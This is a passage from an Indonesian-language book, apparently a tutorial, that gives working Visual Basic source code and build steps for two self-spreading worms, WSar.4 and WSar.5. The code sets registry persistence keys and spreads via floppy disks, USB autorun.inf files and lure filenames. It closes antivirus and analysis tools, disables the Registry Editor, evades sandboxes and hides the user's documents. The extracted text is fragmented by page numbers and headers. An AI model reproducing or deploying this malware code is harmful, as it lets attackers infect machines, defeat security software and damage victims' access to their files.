Long Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpData As String, ByVal cbData As Long) As Long
Jasakom
138
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal Reserved _ As Long, ByVal dwType As Long, ByRef lpData As Long, _ ByVal cbData As Long) As Long Declare Function RegSetValueExB Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByRef lpData As Byte, ByVal cbData As Long) As Long Public Declare Function RegReplaceKey Lib "advapi32.dll" Alias _ "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal lpNewFile As String, ByVal lpOldFile As String) _ As Long Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const ERROR_SUCCESS = 0& ERROR_BADDB = 1009& ERROR_BADKEY = 1010& ERROR_CANTOPEN = 1011& ERROR_CANTREAD = 1012& ERROR_CANTWRITE = 1013& ERROR_OUTOFMEMORY = 14& ERROR_INVALID_PARAMETER = 87& ERROR_ACCESS_DENIED = 5& ERROR_NO_MORE_ITEMS = 259& ERROR_MORE_DATA = 234& REG_NONE = 0& REG_SZ = 1& REG_EXPAND_SZ = 2& REG_BINARY = 3& REG_DWORD = 4& REG_DWORD_LITTLE_ENDIAN = 4& REG_DWORD_BIG_ENDIAN = 5& REG_LINK = 6& REG_MULTI_SZ = 7& REG_RESOURCE_LIST = 8& REG_FULL_RESOURCE_DESCRIPTOR = 9& REG_RESOURCE_REQUIREMENTS_LIST = 10&
Const KEY_QUERY_VALUE = &H1& Const KEY_SET_VALUE = &H2& Const KEY_CREATE_SUB_KEY = &H4& Const KEY_ENUMERATE_SUB_KEYS = &H8& Const KEY_NOTIFY = &H10& Const KEY_CREATE_LINK = &H20& Const READ_CONTROL = &H20000 Const WRITE_DAC = &H40000 Const WRITE_OWNER = &H80000 Const SYNCHRONIZE = &H100000 Const STANDARD_RIGHTS_REQUIRED = &HF0000 Const STANDARD_RIGHTS_READ = READ_CONTROL Const STANDARD_RIGHTS_WRITE = READ_CONTROL Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL Const KEY_READ = STANDARD_RIGHTS_READ Or _ KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _ Or KEY_NOTIFY Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or _ KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Const KEY_EXECUTE = KEY_READ
139
Jasakom
hKey As Long, MainKeyHandle As Long rtn As Long, lBuffer As Long, sBuffer As String lBufferSize As Long lDataSize As Long ByteArray() As Byte
Const DisplayErrorMsg = False Function SetDWORDValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As Long) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Public Function DeleteKeyValue(ByVal sKeyName As String, _ ByVal sValueName As String) DeleteKeyValue = False Dim hKey As Long Call ParseKey(sKeyName, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _ KEY_WRITE, hKey) If (rtn = ERROR_SUCCESS) Then rtn = RegDeleteValue(hKey, sValueName) If (rtn <> ERROR_SUCCESS) Then Else DeleteKeyValue = True End If rtn = RegCloseKey(hKey) End If End If End Function
Jasakom
140
Function GetDWORDValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetDWORDValue = lBuffer Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Function SetBinaryValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then lDataSize = Len(value) ReDim ByteArray(lDataSize) For i = 1 To lDataSize ByteArray(i) = Asc(Mid$(value, i, 1)) Next rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _ ByteArray(1), lDataSize) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function
141
Jasakom
Function GetBinaryValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then lBufferSize = 1 rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _ lBufferSize) sBuffer = Space(lBufferSize) rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetBinaryValue = sBuffer Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Function DeleteKey(ByVal Keyname As String) Call ParseKey(Keyname, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _ KEY_WRITE, hKey) If rtn = ERROR_SUCCESS Then rtn = RegDeleteKey(hKey, Keyname) rtn = RegCloseKey(hKey) End If End If End Function Function GetMainKeyHandle(ByVal MainKeyName As String) As Long Const HKEY_CLASSES_ROOT = &H80000000 Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const HKEY_USERS = &H80000003 Const HKEY_PERFORMANCE_DATA = &H80000004 Const HKEY_CURRENT_CONFIG = &H80000005 Const HKEY_DYN_DATA = &H80000006 Select Case MainKeyName Case "HKEY_CLASSES_ROOT" GetMainKeyHandle = HKEY_CLASSES_ROOT Case "HKEY_CURRENT_USER" GetMainKeyHandle = HKEY_CURRENT_USER
Jasakom
142
Case "HKEY_LOCAL_MACHINE" GetMainKeyHandle = HKEY_LOCAL_MACHINE Case "HKEY_USERS" GetMainKeyHandle = HKEY_USERS Case "HKEY_PERFORMANCE_DATA" GetMainKeyHandle = HKEY_PERFORMANCE_DATA Case "HKEY_CURRENT_CONFIG" GetMainKeyHandle = HKEY_CURRENT_CONFIG Case "HKEY_DYN_DATA" GetMainKeyHandle = HKEY_DYN_DATA End Select End Function Function ErrorMsg(ByVal lErrorCode As Long) As String Select Case lErrorCode Case 1009, 1015 GetErrorMsg = "The Registry Database is corrupt!" Case 2, 1010 GetErrorMsg = "Bad Key Name" Case 1011 GetErrorMsg = "Cant Open Key" Case 4, 1012 GetErrorMsg = "Cant Read Key" Case 5 GetErrorMsg = "Access to this key is denied" Case 1013 GetErrorMsg = "Cant Write Key" Case 8, 14 GetErrorMsg = "Out of memory" Case 87 GetErrorMsg = "Invalid Parameter" Case 234 GetErrorMsg = "There is more data than the buffer has been " & _ "allocated to hold." Case Else GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode) End Select End Function Function GetStringValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then sBuffer = Space(255) lBufferSize = Len(sBuffer) rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) sBuffer = Trim(sBuffer) GetStringValue = Left(sBuffer, Len(sBuffer) - 1) Else
143
Jasakom
GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Private Sub ParseKey(ByVal Keyname As String, ByVal Keyhandle As Long) rtn = InStr(Keyname, "\") If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then MsgBox("Incorrect Format:" + Chr(10) + Chr(10) + Keyname) Exit Sub ElseIf rtn = 0 Then Keyhandle = GetMainKeyHandle(Keyname) Keyname = "" Else Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) Keyname = Right(Keyname, Len(Keyname) - rtn) End If End Sub Function CreateKey(ByVal SubKey As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) End If End If End Function Function SetStringValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _ Len(value)) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then
Else
Jasakom
144
MsgBox(ErrorMsg(rtn)) End If End If End If End Function Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next Dim Y As Integer Dim num As String Dim value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2) value = value & Chr(Val("&h" & num)) Y = Y + 1 Next Y hex2ascii = value End Function Function SetHexValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) SetBinaryValue(SubKey, Entry, hex2ascii(value)) End Function
145
Jasakom
Jasakom
146
Private Sub PayLoad() On Error Resume Next MsgBox("WSar.4 Ada Pada Komputer Anda", vbExclamation) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOwner", "LIGHT " & _ "DEVIL") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOrganization", "IN" & _ "DONESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LocalNoticeCaption", "INDO" & _ "NESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LegalNoticeText", "Kompute" & _ "r Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk me" & _ "ndapatkan manual cara menghapusnya www.iwwa.co.id") SetLabel("C:\", "Light Devil") SetLabel("D:\", "WSar Exist") End Sub Private Sub tmrIseng_Timer() On Error Resume Next Dim DoorOpen As Boolean Dim i As Integer If Hour(Now) = Minute(Now) Then GoTo Iseng Else : GoTo Selesai Iseng: mciSendString("close all", 0, 0, 0) mciSendString("open cdaudio alias cd wait shareable", 0, 0, 0) mciSendString("set cd time format tmsf wait", 0, 0, 0) For i = 1 To 3 mciSendString("set cd door open", 0, 0, 0) DoorOpen = True If DoorOpen = True Then mciSendString("set cd door closed", 0, 0, 0) DoorOpen = False End If Next i Selesai: End Sub Private Sub tmrWSar4_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
147
Jasakom
Berikut penjelasan tentang kode program : Diawali dengan beberapa pendeklarasian function API, masing-masing memiliki tugas untuk mendapatkan direktori Windows dan direktori System Windows dari library kernel32, kemudian function pengiriman string dari library winmm.dll yang digunakan untuk memberikan instruksi pada cd drive, dan function API untuk mengatur volume label pada drive harddisk dari library kernel32. Diawali dengan procedure Form_Load yang akan memastikan file utama tidak tereksekusi lebih dari satu kali, kemudian memanggil procedure InfectSystem, procedure InfectFloppy dan akan segera mengakhiri program apabila file utama berada pada disket. Procedure InfectSystem akan membuat suatu direktori baru bernama 'StartUp di dalam direktori [windows directory]\Config kemudian membuat salinan file utama ke direktori tersebut dengan nama file "WINLOGIN.EXE". Procedure ini juga memanggil function yang berada pada module mdlRegistryAPI untuk memanipulasi registry dengan tujuan mengubah lokasi direktori StartUp pada Windows. Terakhir procedure mengatur atribut file "WINLOGIN.EXE" menjadi Read only. Procedure InfectFloppy mengatur nilai properti Text pada txtName menjadi nama user aktif yang didapatkan dari function NameLogon, kemudian mengatur nilai variabel Nama dengan nilai txtName yang di-trim dan dalam bentuk huruf kecil. Procedure kemudian membuat array sebanyak 10 data yang akan menjadi nama file worm, juga menyertakan nama user aktif sebagai bagian dari nama file worm tersebut. Sebagai contoh, jika nama user aktif adalah 'Komeng maka worm akan membuat file dengan nama "foto seksi komeng.jpg .exe", "foto birahi komeng.jpg .exe", "foto pacar baru komeng.jpg .exe". Hal ini merupakan salah satu upaya social engineering yang terbukti sangat efektif . Selanjutnya worm berusaha mencari file yang berakhiran ".jpg .exe" pada disket, jika file tidak ditemukan maka worm akan membuat salinan file utama dengan menggunakan salah satu nama file tersebut ke disket yang diambil secara acak. Bab 10. Worm WSar.4
Jasakom
148
Function SpecialFolder dan function SetLabel memanfaatkan function API yang telah dideklarasikan sebelumnya, dengan tujuan untuk mempermudah dan membuat formula menjadi lebih sederhana, hingga dapat digunakan berulang kali pada procedure yang berbeda. Untuk mendapatkan lokasi direktori Windows dapat menggunakan instruksi: SpecialFolder(0) atau SpecialFolder(1) untuk mendapatkan direktori System Windows. Untuk memanipulasi volume label drive C pada harddisk menjadi "Apaan Tuuh", maka dapat menggunakan instruksi berikut: SetLabel "C:\", "Apaan Tuuh" Procedure PayLoad pada worm ini termasuk payload beresiko rendah, selain menampilkan pesan "WSar.4 Ada Pada Komputer Anda" worm juga memanipulasi registry dengan mengubah konfigurasi registered owner menjadi "LIGHT DEVIL" dan registered organization menjadi "INDONESIAN WORM WRITER ASSOCIATION". Worm mengatur agar sebuah kotak pesan tampil setiap kali Windows startup dengan tulisan "Komputer Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk mendapatkan manual cara menghapusnya www.iwwa.co.id". Terakhir worm memanipulasi volume label harddisk pada drive C menjadi "Light Devil" dan drive D menjadi "WSar Exist", jika ternyata komputer terinfeksi tidak memiliki drive D maka secara sederhana worm menggunakan statement On Error Resume Next untuk mengatasinya. Procedure tmrIseng_Timer memiliki instruksi yang akan bekerja apabila jam dan menit menunjukan nilai yang sama misalnya jam 09:09 atau 15:15. Instruksi yang akan dikerjakan adalah membuka dan menutup CD drive sebanyak 3 kali. Sedangkan procedure tmrWSar4_Timer secara berkesinambungan akan memanggil procedure InfectFloppy dan akan memanggil procedure PayLoad apabila tanggal menunjukkan 13 Oktober setiap tahunnya. Sedangkan dua module bernama mdlNameLogon dan mdlRegistryAPI masing-masing membuat suatu function dari pendeklarasian beberapa function API yang berguna untuk mendapatkan nama user aktif dan mempermudah pengelolaan registry seperti membuat, membaca dan menghapus key atau value pada registry, module yang akan sangat berguna untuk pengembangan program aplikasi apa saja, sehingga sangat disarankan untuk menyimpan module tersebut.
149
Jasakom
orm ini bernama WSar.5 (worm dasar 5), dengan trik launcher yang menggunakan metode program aliases. Karena trik sederhana ini tergolong trik baru dan tidak banyak digunakan, sehingga akan mempersulit proses analisa bahkan untuk seorang advanced user sekalipun. Selain itu worm dengan cerdiknya tidak akan bekerja apabila pada system komputer target, worm mendeteksi keberadaan program DeepFreeze atau merupakan suatu system komputer maya dari program Virtual PC, dan hal ini juga akan mempersulit proses analisa. Melalui WSar.5 penulis akan mendemonstrasikan metode yang digunakan worm Pesin untuk menonaktifkan program Registry Editor dan telah penulis kembangkan sehingga juga akan menonaktifkan program lain seperti Registrar Lite, System Mechanic, dan registry utility lainnya. Kemudian penulis juga mengembangkan dan mendemonstrasikan metode yang digunakan worm Kangen untuk menonaktifkan program Registry Editor dengan langsung menutupnya, tetapi karena untuk menonaktifkan program Registry Editor sudah menggunakan metode yang digunakan oleh worm Pesin maka penulis akan mengaplikasikannya pada program lain, seperti program informasi startup dan aplikasi antivirus.
151
Jasakom
Worm ini memiliki ciri khas worm di masa lalu, dengan berusaha memenuhi worm pada disket, sekaligus memiliki ciri khas worm di masa sekarang, yang dilengkapi rutin untuk menulari usb disk serta membuat file konfigurasi yang secara otomatis akan mengeksekusi file worm apabila usb disk tersebut terhubung pada suatu system yang mengijinkan metode autorun.
11.1 ALGORITMA
WSar.5 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Kemudian Worm melakukan pemeriksaan keberadaan program DeepFreeze dan Virtual PC. Jika ditemukan maka worm secara otomatis mengakhiri proses file utama. 3. Worm menyembunyikan aplikasi file worm dari task list 4. Saat menginfeksi suatu system komputer, worm akan membuat salinan file utama ke direktori tertentu, kemudian memanipulasi registry dengan membuat program aliases yang mengarah kepada file salinan tersebut dan menambahkan registry run yang mengarah pada program aliases yang dibuat sebelumnya. Terakhir memanipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer 5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki kata "REG" pada title-nya, seperti Registry Editor, Registrar Lite dan lain sebagainya. Worm juga akan langsung menutup aplikasi yang pada title-nya mengandung kata "vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan, kill" 6. Dampak lain yang ditimbulkan adalah setiap 5 menit secara otomatis seluruh jendela aplikasi yang terbuka akan di minimize pada taskbar
Jasakom
152
7. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.5 Ada Pada Komputer Anda", kemudian menambahkan atribut System, Hidden dan Read only pada setiap file yang ada pada folder My Documents, sehingga file tersebut tidak akan terlihat oleh user.
11.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.5 Tambahkan 4 buah object Timer, 2 buah object TextBox, 1 buah object DriveListBox dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut: Properti object Form1 Jenis
Name Icon ShowInTaskbar Visible BorderStyle ControlBox
Nilai
frmWSar5 (Icon) False False None False
Keterangan
Mengatur nama form menjadi frmWSar5 Pilih icon yang akan digunakan pada form, WSar.5 menggunakan icon winzip.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar. Tidak memberikan garis tepi pada form Tidak menggunakan control box
Nilai
tmrDisableWindow True 500
Keterangan
Mengatur nama Timer tmrDisableWindow menjadi
Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik
153
Jasakom
Nilai
tmrIseng True 1000
Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik
Nilai
tmrSpreading True 5000
Keterangan
Mengganti nama Timer dari Timer3 menjadi tmrSpreading Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 5 detik
Nilai
tmrAntiDestroyer True 500
Keterangan
Mengatur nama Timer menjadi tmrAntiDestroyer Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik
Nilai
txtPath
Keterangan
Mengatur nama TextBox menjadi txtPath
Jasakom
154
Nilai
txtPath2
Keterangan
Mengatur nama TextBox menjadi txtPath2
Properti Module1 Jenis Name Nilai mdlMinimize Keterangan Mengatur nama mdlMinimize module menjadi
Nilai
mdlRegistryAPI
Keterangan
Mengatur nama module menjadi mdlRegistryAPI
Nilai
mdlWinForce
155
Jasakom
Public Sub RestoreAll() Dim lngHwnd As Long lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, _ MIN_ALL_UNDO, 0&) End Sub
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinForce:
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long) Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As _ String, ByVal cch As Long) As Long Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long) Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long) Private Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10 Private Function EnumWinProc(ByVal hwnd As Long, ByVal _ lParam As Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1 End Function Private Function WinFind(ByVal sWild As String, Optional ByVal _ bMatchCase As Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFind End Function
Jasakom
156
Function WinQuit(ByVal WindowsTitle As String) On Error Resume Next hFind = 0 Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull) End Function Function WinAble(ByVal WindowsTitle As String, ByVal value As Boolean) hFind = 0 On Error Resume Next Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = EnableWindow(wincap, value) End Function
157
Jasakom
Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String MainFolder = SpecialFolder(0) & "\Config" MkDir(MainFolder) CopyFile(WormFile, MainFolder & "\" & "system32.exe", False) SetAttr(MainFolder & "\" & "system32.exe", vbHidden + vbSystem _ + vbReadOnly) CreateKey("HKEY_LOCAL_MACHINE\Software\Microsoft\W" & _ "indows\CurrentVersion\App Paths\LoadPowerProfile.EXE") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE", _ "", MainFolder & "\" & "system32.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "LoadPowerProfile", _ "LoadPowerProfile Rundll32.exe") SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 2) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "HideFileExt", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "SuperHidden", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ShowSuperHidden", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ClassicViewState", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPath", 1) End Sub Private Sub PayLoad() On Error Resume Next Dim UserDoc As String Dim eks As Integer UserDoc = GetStringValue("HKEY_CURRENT_USER\Softwa" & _ "re\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal") If Len(Dir$(UserDoc & "\*.doc")) <> 0 Then Shell("attrib +h +s +r " & UserDoc & "\*.doc") End If End Sub Private Sub tmrAntiDestroyer_Timer() On Error Resume Next WinQuit("vir") WinQuit("av") WinQuit("safe") WinQuit("start") WinQuit("process") WinQuit("spy")
Jasakom
158
WinQuit("autoruns") WinQuit("hijack") WinQuit("patrol") WinQuit("alarm") WinQuit("task") WinQuit("config") WinQuit("folder option") WinQuit("system") WinQuit("properties") WinQuit("watson") WinQuit("remov") WinQuit("scan") WinQuit("kill") End Sub Private Sub tmrDisableWindow_Timer() On Error Resume Next WinAble("REG", False) End Sub Private Sub tmrIseng_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then Call MinimizeAll() End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() MsgBox("WSar.5 Ada Pada Komputer Anda", vbExclamation) End If End Sub Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Sub tmrSpreading_Timer() On Error Resume Next Dim filenya As String Dim NamaCantik As String Dim NamaAwal(10) As String NamaAwal(0) = "crack" NamaAwal(1) = "serial" NamaAwal(2) = "full"
159
Jasakom
= = = = = = =
Dim NamaTengah(20) As String NamaTengah(0) = "winamp" NamaTengah(1) = "winzip" NamaTengah(2) = "deepfreeze" NamaTengah(3) = "adobe reader" NamaTengah(4) = "vmware" NamaTengah(5) = "mirc" NamaTengah(6) = "kazaa" NamaTengah(7) = "transtool" NamaTengah(8) = "acdsee" NamaTengah(9) = "softice" NamaTengah(10) = "tweak ui" NamaTengah(11) = "alcohol 120%" NamaTengah(12) = "getright" NamaTengah(13) = "flash player" NamaTengah(14) = "winimage" NamaTengah(15) = "webshoot" NamaTengah(16) = "pdf factory" NamaTengah(17) = "shio" NamaTengah(18) = "horoskop" NamaTengah(19) = "zodiak" Randomize() txtPath.Text = NamaAwal(Int(Rnd * 10)) & " " & NamaTengah(Int _ (Rnd * 20)) & " " & Year(Now) + 1 NamaCantik = txtPath.Text & ".exe" Dim FolderDocu As String Dim FirstFile As String Dim FullDocu As String FolderDocu = GetStringValue("HKEY_CURRENT_USER\Soft" & _ "ware\Microsoft\Windows\CurrentVersion\Explorer\Shell Fol" & _ "ders", "Personal") txtPath.Text = FolderDocu txtPath2.Text = Dir(txtPath.Text & "\*.doc") FullDocu = txtPath.Text & "\" & txtPath2.Text FirstFile = Left(FullDocu, (Len(FullDocu) - 4)) If Len(txtPath2.Text) > 4 Then SetAttr(FullDocu, vbHidden) CopyFile(App.Path & "\" & App.EXEName & ".exe", FirstFile & _ ".zip .exe", False) SetAttr(FirstFile & ".zip .exe", vbNormal) End If Dim i As Byte For i = 1 To Drive1.ListCount - 1
Jasakom
160
If GetDriveType(Drive1.List(i) & "\") = 2 Then If Len(Dir$(Drive1.List(i) & "\autorun.inf")) = 0 Then CopyFile(WormFile, Drive1.List(i) & "\SETUP.EXE", False) SetAttr(Drive1.List(i) & "\SETUP.EXE", vbReadOnly) filenya = Drive1.List(i) & "\autorun.inf" Open filenya For Output As #1 Print #1, "[autorun]" Print #1, "OPEN=SETUP.EXE" Close(1) SetAttr(Drive1.List(i) & "\autorun.inf", vbReadOnly) End If End If Next i If Second(Now) < 6 Then FileCopy(WormFile, "a:\" & NamaCantik) End If End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Berikut penjelasan tentang kode program: Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa file "c:\dfinstall.log" yang menandakan keberadaan program DeepFreeze dan jika ternyata berhasil ditemukan maka worm akan mengakhiri proses file utama, demikian pula dengan program Virtual PC, worm akan memeriksa file yang secara default adalah "c:\windows\cntx\vpchelp.exe". Procedure juga menyembunyikan proses dari taskbar, memanggil procedure InfectSystem, dan mengakhiri proses jika ternyata file utama berada pada disket. Pada procedure InfectSystem worm membuat salinan file utama ke suatu direktori yang secara default berada di "c:\windows\config" kemudian memanipulasi registry dengan menambahkan key HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE dengan value yang mengarah Bab 11 Worm WSar.5
161
Jasakom
